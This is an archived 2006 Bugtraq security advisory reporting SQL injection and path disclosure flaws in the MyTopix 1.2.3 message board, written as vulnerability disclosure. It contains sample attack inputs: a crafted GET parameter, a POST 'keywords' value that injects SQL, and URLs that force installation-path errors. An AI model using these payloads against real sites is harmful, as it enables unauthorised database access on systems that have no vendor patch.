bugtraq - [KAPDA::#26] - MyTopix Sql Injection & Path Disclosure

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Sat, 4 Feb 2006 07:20:50 -0800 (PST)
From: alireza hassani <trueend5@...oo.com>
To: bugtraq@...urityfocus.com
Subject: [KAPDA::#26] - MyTopix Sql Injection & Path Disclosure



KAPDA New advisory

Vendor: http://www.jaia-interactive.com
Vulnerable: Version: 1.2.3
Bug: Sql Injection & Path Disclosure
Exploitation: Remote with browser

Description:
--------------------
MyTopix is a PHP-based message board system that uses
a MySQL database.
 
Vulnerability:
--------------------
-Sql Injection :
The software does not properly validate user-supplied
input in 'search.php'. A remote user can create
specially crafted parameter values that will execute
SQL commands on the underlying database. 

HTTP Method: GET
http://example.com/mytopix/index.php?a=search&CODE=02&mid=[SQL]

HTTP Method: POST
method="post"
action="http://example.com/mytopix/index.php?a=search&CODE=01"
name="keywords" value="kapda') AS topics_score FROM
my_posts p LEFT JOIN my_topics  t ON t.topics_id  =
p.posts_topic/*"

--------------------
-Path Disclosure:
There is no restriction to access the includes files
directly.A remote user can supply a specially crafted
URL to cause the system to display an error message
that discloses the installation path.
http://example.com/mytopix/modules/logon.mod.php 
+ another Path Disclosure bug in highlight mode:
http://example.com/mytopix/index.php?gettopic=10&hl=kapda')

Solution:
--------------------
There is no vendor supplied patch for this issue at
this time.
 
Original Advisories:
--------------------
http://kapda.ir/advisory-249.html
IN Farsi:
http://irannetjob.com/content/view/195/28/

Credit :
--------------------
Discovered & released by trueend5 (trueend5 kapda ir)
Security Science Researchers Institute Of Iran
[http://www.KAPDA.ir]

__________________________________________________
Do You Yahoo!?
Tired of spam?  Yahoo! Mail has the best spam protection around 
http://mail.yahoo.com